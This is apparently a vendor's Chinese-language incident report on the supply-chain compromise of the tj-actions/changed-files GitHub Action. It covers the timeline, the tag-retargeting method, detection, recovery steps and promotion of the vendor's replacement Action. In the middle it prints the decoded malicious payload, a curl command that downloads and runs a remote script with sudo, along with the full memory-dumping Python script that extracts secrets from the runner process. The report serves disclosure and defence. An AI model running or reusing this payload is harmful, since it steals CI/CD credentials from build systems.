我们已完成对 tj-actions/changed-files 安全事件的调查。本文将解释此次攻击的运作方式、我们如何检测到它,以及您应该采取哪些措施来保护您的 CI/CD 环境。
简介
我们已完成对涉及 tj-actions/changed-files\ GitHub Action 的关键安全事件的调查。该问题已向 GitHub 报告,官方 CVE——CVE-2025-30066——已发布以追踪此事件。您可以在 GitHub Issue #2463 中找到更多详情。
根据我们的调查结果,该 Action 已被入侵,通过在公开构建日志中暴露 CI/CD 密钥构成了重大风险。本文提供了此事件的摘要、如何检测到它以及用户可以采取的恢复和防护措施。我们建议将所有 tj-actions/changed-files\ 实例替换为 StepSecurity 维护的安全替代版本:step-security/changed-files\。
StepSecurity Harden-Runner 通过异常检测发现了此问题,当时网络流量中出现了意外端点。根据我们的分析,事件始于 2025 年 3 月 14 日太平洋时间(PT)上午 9:00 / 2025 年 3 月 14 日 UTC 下午 4:00。
StepSecurity 已发布此 Action 的免费安全替代版本以帮助从此事件中恢复:step-security/changed-files。我们强烈建议您将所有 tj-actions/changed-files 替换为 StepSecurity 安全替代版本。
关键更新时间线
2025 年 3 月 14 日 17:00 UTC – 我们的初步调查确认大多数版本的 tj-actions/changed-files\ 已被入侵。
2025 年 3 月 14 日 20:00 UTC – 我们确认了多个在构建日志中泄露密钥的公开仓库。建议用户立即遵循恢复步骤。
2025 年 3 月 15 日 14:00 UTC – GitHub 移除了 tj-actions/changed-files\ Action,使其对工作流不可用。
2025 年 3 月 15 日 22:00 UTC – GitHub 恢复了仓库。所有版本的 Action 均已清理,不再包含恶意代码。
2025 年 3 月 16 日 06:00 UTC – 我们宣布举办社区办公时间活动,以帮助回答问题并支持恢复工作。
2025 年 3 月 17 日 18:00 UTC – 办公时间活动录像已发布,提供了事件概述和建议。
2025 年 3 月 18 日 02:30 UTC – 我们的调查发现 reviewdog\ GitHub 组织中的多个 Action 也被入侵。
事件摘要
tj-actions/changed-files GitHub Action 目前被超过 23,000 个仓库使用,现已被入侵。在此次攻击中,攻击者修改了 Action 的代码并追溯更新了多个版本标签以引用恶意提交。受感染的 Action 会在 GitHub Actions 构建日志中打印 CI/CD 密钥。如果工作流日志可公开访问(例如在公开仓库中),任何人都可能读取这些日志并获取泄露的密钥。没有证据表明泄露的密钥被窃取到任何远程网络目标。以下是导致此次供应链攻击的事件序列。
- 攻击者入侵了与维护者用于维护仓库的 @tj-actions-bot 机器人账户关联的个人访问令牌(PAT)。入侵此 PAT 的具体攻击方法未知。
- 他们在 Action 仓库外部创建了恶意提交。下方分享了此恶意提交的详细信息。
- 他们更新了所有 Action 发布标签以指向恶意提交。通过此更改,Action 开始执行攻击者提供的恶意代码。
您可以参阅维护者提供的 issue 评论 获取更多详情。
我们的 Harden-Runner 解决方案在网络流量中出现意外端点时标记了此问题。此异常被 Harden-Runner 的行为监控功能捕获。
受感染的 Action 现在会执行一个恶意 Python 脚本,从 Runner Worker 进程转储 CI/CD 密钥。大多数现有的 Action 发布标签已更新为引用下方提及的恶意提交(@stevebeattie 通知我们 这些被入侵的标签)。注意:所有这些标签现在都指向同一个恶意提交哈希:0e58ed8671d6b60d0890c21b07f8835ace038e67,表明多个版本的追溯入侵。
$ git tag -l | while read -r tag ; do git show --format="$tag: %H" --no-patch $tag ; done | sort -k2
v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67
...
v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67
...
v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67
...
v5: 0e58ed8671d6b60d0890c21b07f8835ace038e67
...@salolivares 确定了在 Action 中引入漏洞代码的恶意提交。
上截图中的 base64 编码字符串包含漏洞代码。以下是代码经 base64 解码后的版本。
if [[ "$OSTYPE" == "linux-gnu" ]]; then
B64_BLOB=\`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0\`
echo $B64_BLOB
else
exit 0
fi以下是 https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py 的内容
#!/usr/bin/env python3
...
def get_pid():
# https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read():
return pid
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
pid = get_pid()
print(pid)
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # for each mapped region
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r': # readable region
start = int(m.group(1), 16)
end = int(m.group(2), 16)
# hotfix: OverflowError: Python int too large to convert to C long
# 18446744073699065856
if start > sys.maxsize:
continue
mem_f.seek(start) # seek to region start
try:
chunk = mem_f.read(end - start) # read region contents
sys.stdout.buffer.write(chunk)
except OSError:
continue尽管 GitHub 显示 renovate 为提交作者,但很可能该提交实际上并非来自 renovate 机器人。这是一个未验证的提交,所以攻击者可能故意将 renovate 设为提交作者以掩盖其行踪。
StepSecurity Harden-Runner
StepSecurity Harden-Runner 通过控制网络访问和监控 GitHub 托管及自托管运行器的活动来保护 CI/CD 工作流。"Harden-Runner" 这个名称来源于其目的:加强 GitHub Actions 工作流中运行器的安全性。Harden-Runner 社区版对开源项目免费。此外,它还提供多项企业功能。
重现漏洞
当使用 Harden-Runner 执行此 Action 时,您可以看到恶意代码的运行情况。我们在一个测试仓库中重现了这个漏洞。当受感染的 tj-actions/changed-files Action 运行时,Harden-Runner 的洞察清晰显示它正在下载并执行一个恶意 Python 脚本,该脚本试图从 GitHub Actions 运行器的内存中转储敏感数据。您可以在 StepSecurity 仪表板 中看到此行为
为了重现此漏洞,我们运行了以下工作流:
name: "tj-action changed-files incident"
jobs:
changed_files:
....
steps:
- name: Harden Runner
uses: step-security/harden-runner@v2
with:
disable-sudo: true
egress-policy: audit
...
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@v35
...当此工作流执行时,您可以通过 Harden-Runner 看到恶意行为:
https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/13866127357
当此工作流运行时,您可以在 Harden-Runner 洞察页面中观察恶意行为。受感染的 Action 下载并执行一个恶意 Python 脚本,该脚本试图从 Actions Runner 进程内存中转储敏感数据。
恢复步骤
🚨 如果您正在使用任何版本的 tj-actions/changed-files Action,我们强烈建议您立即停止使用它,直到事件得到解决。为了在此事件期间支持社区,我们发布了一个免费、安全且可直接替换的版本:step-security/changed-files。我们建议将工作流中的所有 tj-actions/changed-files 实例更新为这个 StepSecurity 维护的 Action。
使用 StepSecurity 维护的 changed-files Action
StepSecurity 维护的 Actions 通常仅供 StepSecurity 企业客户使用。然而,为了帮助社区应对此事件,我们将此 StepSecurity 维护的 Action 免费提供给所有人使用。
要使用 StepSecurity 维护的 Action,只需将所有 "tj-actions/changed-files@vx" 实例替换为 "step-security/changed-files@3dbe17c78367e7d60f00d78ae6781a35be47b4a1 # v45.0.1*" 或 "step-security/changed-files@v45*。
为了增强安全性,您可以固定到特定提交 SHA:
...
jobs:
changed_files:
runs-on: ubuntu-latest
...
- name: Get changed files
id: changed-files
uses: step-security/changed-files@v45
...您也可以通过最新发布标签引用该 Action:
...
jobs:
changed_files:
runs-on: ubuntu-latest
...
- name: Get changed files
id: changed-files
uses: step-security/changed-files@3dbe17c78367e7d60f00d78ae6781a35be47b4a1 # v45.0.1
...更多详情,请参阅项目的 README。
审查 Actions 清单
您应该对仓库执行代码搜索,以发现所有 tj-actions/changed-files Action 的实例。
请注意,此 GitHub 搜索并不总是返回准确结果。如果您有专用的源代码搜索解决方案(如 SourceGraph),它们在查找此 Action 的所有使用实例方面可能更有效。
审查 GitHub Actions 工作流运行日志
您应该审查 Action 最近执行的日志,查看是否有密钥泄露。以下是泄露密钥在构建日志中显示方式的示例。
对于公开仓库来说,这一步尤为重要,因为其日志是公开可访问的。
轮换泄露的密钥
如果您在 GitHub Actions 工作流运行日志中发现任何密钥,请立即轮换它们。
固定 GitHub Actions
您应该将 GitHub Actions 固定到完整长度的提交 SHA,以确保您的工作流始终使用不可变引用。StepSecurity 社区版允许维护者免费将 Actions 固定到其完整长度的提交 SHA。您可以在此处阅读有关 StepSecurity 自动固定 Actions 的信息此处。
对于 StepSecurity 企业客户
以下步骤仅适用于 StepSecurity 企业客户。如果您不是现有企业客户,可以安装 StepSecurity GitHub App 开始 14 天免费试用,以完成以下恢复步骤:
发现泄露的密钥
我们添加了一个新控件,专门用于检测因此安全事件而在构建日志中泄露的密钥。您可以在 StepSecurity 仪表板上找到新控件。
如果您有任何泄露的密钥,可以点击该控件查看所有已泄露密钥的工作流列表。
然后您可以点击"失败运行"部分中的链接,确认构建日志中的泄露密钥。
您应该轮换这些泄露的密钥(如适用)并删除这些工作流运行,以便泄露密钥的日志不再可用。
审查 Actions 清单
您可以使用 Actions 清单功能发现所有使用 tj-actions/changed-files 的 GitHub Actions 工作流。
审查 Harden-Runner 发现
您可以访问 StepSecurity 仪表板中的"所有目标",查看您的工作流是否调用了"gist.githubusercontent.com"。如果此端点出现在列表中,请审查调用此端点的工作流运行。
StepSecurity 维护的 changed-files Action
我们作为企业层的一部分提供危险第三方 Actions 的安全直接替换版本。我们为 tj-actions/changed-files 创建了一个维护的 Action。
在整个组织中固定 GitHub Actions
您可以使用 StepSecurity 固定仪表板控件来发现组织中所有未固定的 Actions,并通过自动拉取请求进行固定。
启用被入侵 Actions 运行策略
我们引入了新的被入侵 Actions 运行策略,以主动阻止已知的恶意 GitHub Actions(如 tj-actions/changed-files)。
- 阻止使用被入侵 Actions 的工作流执行
- 维护已知威胁的精选列表
- 取消运行并留下 PR 评论,建议安全的替代方案
您可以通过遵循此交互式演示来添加此策略:
此策略作为实时防御,在供应链攻击蔓延之前将其阻止。
结论
此事件凸显了针对 CI/CD 环境的供应链攻击日益复杂化。虽然 tj-actions/changed-files 被入侵的直接威胁已得到控制,但它有力地提醒我们,传统的静态安全措施已不再足够。
我们感谢安全社区的合作和快速响应。如果您尚未行动,现在是时候审查您的工作流、轮换任何可能泄露的密钥,并迁移到可信的安全替代方案(如 step-security/changed-files)。
👉 想了解您的 GitHub 仓库有多安全吗? 使用 Secure Repo 扫描您的仓库,获取可操作的洞察并在几分钟内识别隐藏风险
让我们共同努力推动 CI/CD 安全向前发展。